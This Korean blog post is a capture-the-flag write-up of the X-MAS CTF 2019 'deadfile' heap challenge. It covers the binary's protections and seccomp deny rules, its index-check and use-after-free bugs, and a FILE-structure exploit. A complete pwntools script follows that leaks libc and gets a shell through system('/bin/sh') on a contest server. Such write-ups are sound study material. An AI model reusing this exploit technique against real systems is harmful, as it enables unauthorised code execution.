본문 바로가기

system/writeup

x-mas ctf 2019 deadfile

2019 x-mas ctf deadfile

binary info


[*] '/home/krrr/pwn/x-mas/dead_file/deadfile'
  Arch:     amd64-64-little
  RELRO:   Full RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled

메뉴형 heap challenge이다.

 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x25 0x0b 0x00 0x40000000 if (A > 0x40000000) goto 0015
0004: 0x15 0x0a 0x00 0x0000003b if (A == execve) goto 0015
0005: 0x15 0x09 0x00 0x00000142 if (A == execveat) goto 0015
0006: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0015
0007: 0x15 0x07 0x00 0x00000101 if (A == openat) goto 0015
0008: 0x15 0x06 0x00 0x00000038 if (A == clone) goto 0015
0009: 0x15 0x05 0x00 0x00000039 if (A == fork) goto 0015
0010: 0x15 0x04 0x00 0x00000065 if (A == ptrace) goto 0015
0011: 0x15 0x03 0x00 0x00000029 if (A == socket) goto 0015
0012: 0x15 0x02 0x00 0x00000031 if (A == bind) goto 0015
0013: 0x15 0x01 0x00 0x00000032 if (A == listen) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILL

seccomp-rule 확인

Vulnerability

for문을 통한 index checking 과정에서 "Too Many Heaps!"만 출력하고 return을 하지 않는다.

chunk_size[i]에 값을 입력받은 후 chunk_size[i] 값을 checking.

초기화 안함 -> dangling pointer

마찬가지로 index checking 과정에서 return하지 않는다.

Attack


chunk_size에서 oobchecking 전에 값을 입력받기 때문에 openedstdin fd(0)을 넣을 수 있다.

이를 이용하여 read_file 함수에서 read(0, chunk_addr[i], chunk_size[i])를 실행시킬 수 있다.

먼저, uaf가 일어나기 때문에 이를 이용하여 stdout에 할당을 받아준다.

(largebin의 main_arena를 이용한 partial overwrite)

load_seccomp에서 bpf_struct를 만들기 위해 malloc(0x80)을 호출하는데, 이로 인해 힙이 꼬이므로 malloc(0x80), delete를 이용하여 방지하였다.

stdout에 할당받은 후, read_flag를 이용하여 fake_file_structure를 만들고 write(1, _IO_buf_base, _IO_buf_end-_IO_buf_base)를 실행시킨다.

이를 통해 libc_baseleak할 수 있다.

마지막으로 다시 한 번 read_flag를 이용하여 fake_file_structure를 만들고 vtable_IO_str_jumps로 변경한 뒤, vtable check를 우회하며 shell을 얻을 수 있다.

partial overwrite 때문에 1/16 확률이 필요하다. (100% reliable하지 않다.)

from pwn import *

#context.log_level= 'debug'

e = ELF('deadfile')
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)


"""
line CODE JT   JF     K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x25 0x0b 0x00 0x40000000 if (A > 0x40000000) goto 0015
0004: 0x15 0x0a 0x00 0x0000003b if (A == execve) goto 0015
0005: 0x15 0x09 0x00 0x00000142 if (A == execveat) goto 0015
0006: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0015
0007: 0x15 0x07 0x00 0x00000101 if (A == openat) goto 0015
0008: 0x15 0x06 0x00 0x00000038 if (A == clone) goto 0015
0009: 0x15 0x05 0x00 0x00000039 if (A == fork) goto 0015
0010: 0x15 0x04 0x00 0x00000065 if (A == ptrace) goto 0015
0011: 0x15 0x03 0x00 0x00000029 if (A == socket) goto 0015
0012: 0x15 0x02 0x00 0x00000031 if (A == bind) goto 0015
0013: 0x15 0x01 0x00 0x00000032 if (A == listen) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILL
"""

def pack_file(_flags = 0,
             _IO_read_ptr = 0,
             _IO_read_end = 0,
             _IO_read_base = 0,
             _IO_write_base = 0,
             _IO_write_ptr = 0,
             _IO_write_end = 0,
             _IO_buf_base = 0,
             _IO_buf_end = 0,
             _IO_save_base = 0,
             _IO_backup_base = 0,
             _IO_save_end = 0,
             _IO_marker = 0,
             _IO_chain = 0,
             _fileno = 0,
             _lock = 0):
   struct = p32(_flags) + \
            p32(0) + \
            p64(_IO_read_ptr) + \
            p64(_IO_read_end) + \
            p64(_IO_read_base) + \
            p64(_IO_write_base) + \
            p64(_IO_write_ptr) + \
            p64(_IO_write_end) + \
            p64(_IO_buf_base) + \
            p64(_IO_buf_end) + \
            p64(_IO_save_base) + \
            p64(_IO_backup_base) + \
            p64(_IO_save_end) + \
            p64(_IO_marker) + \
            p64(_IO_chain) + \
            p32(_fileno)
   struct = struct.ljust(0x88, "\x00")
   struct += p64(_lock)
   struct = struct.ljust(0xd8, "\x00")
   return struct

def ex(s):
   ru = lambda x: s.recvuntil(x)
   sl = lambda x: s.sendline(x)
   p = lambda : pause()
   io = lambda : s.interactive()
   sla = lambda x,y: s.sendlineafter(x,y)
   sa = lambda x,y: s.sendafter(x,y)

   def menu(sel):
       sla('>> ', str(sel))

   def new(size):
       menu(1)

       sla(': ', str(size))

   def delete(idx):
       menu(2)

       sla(': ', str(idx))

   def register(name):
       menu(7)

       sa(': ', name)

   def open_file(name):
       menu(3)

       sa(': ', name)

   def read_file(file_idx, buf_idx, data='', types=''):
       sla(': ', str(file_idx))

       sla(': ', str(buf_idx))

       if types:
           s.send(data)

   def close_file(idx):
       menu(6)

       sla(': ', str(idx))


   new(0x400)
   new(0x18)
   # for bpf
   new(0x80)
   delete(2)

   for i in range(8):
       delete(0)

   new(0x500)
   register("\x60\x07")

   new(0x400)
   new(0x400) # 5

   new(0x18)
   new(0x18)
   new(0x0)

   read_file(2, 5, data=p64(0xfbad1800) + p64(0)*3 + '\x00', types='ex')
   s.recv(8)
   l_base = u64(s.recv(6).ljust(8, '\x00')) - 0x3ed8b0
   log.info('l_base: {}'.format(hex(l_base)))
   if not hex(l_base).startswith('0x7f'):
       raise EOFError
   one_list = [0x4f2c5, 0x4f322, 0x10a38c]
   one = l_base + one_list[0]

   rip = l_base + l.symbols['system']
   rdi = l_base + next(l.search("/bin/sh"))
   io_str = l_base + l.symbols['_IO_file_jumps'] + 0xd8
   fake = io_str - 0x38

   p()
   read_file(2, 5, data=pack_file(_IO_buf_base=0, _IO_buf_end=(rdi-100)/2, _IO_write_ptr=(rdi-100)/2, _IO_write_base=0, _lock=l_base+0x3ed8c0) + p64(fake) + p64(rip), types='ex')

   io()

if __name__ == "__main__":
   while True:
       try:
           s = connect('115.68.235.72', 33445)
           #s = process('deadfile')
           ex(s)
       except EOFError:
           s.close()
           continue
       else:
           break


'system > writeup' 카테고리의 다른 글

pwnable.tw criticalheap  (0) 2019.12.21
pwnable.tw printable  (0) 2019.12.20
2019 d3ctf lonely_observer  (0) 2019.12.16
2019 d3ctf babyrop  (0) 2019.12.15
2019 d3ctf ezfile  (0) 2019.12.15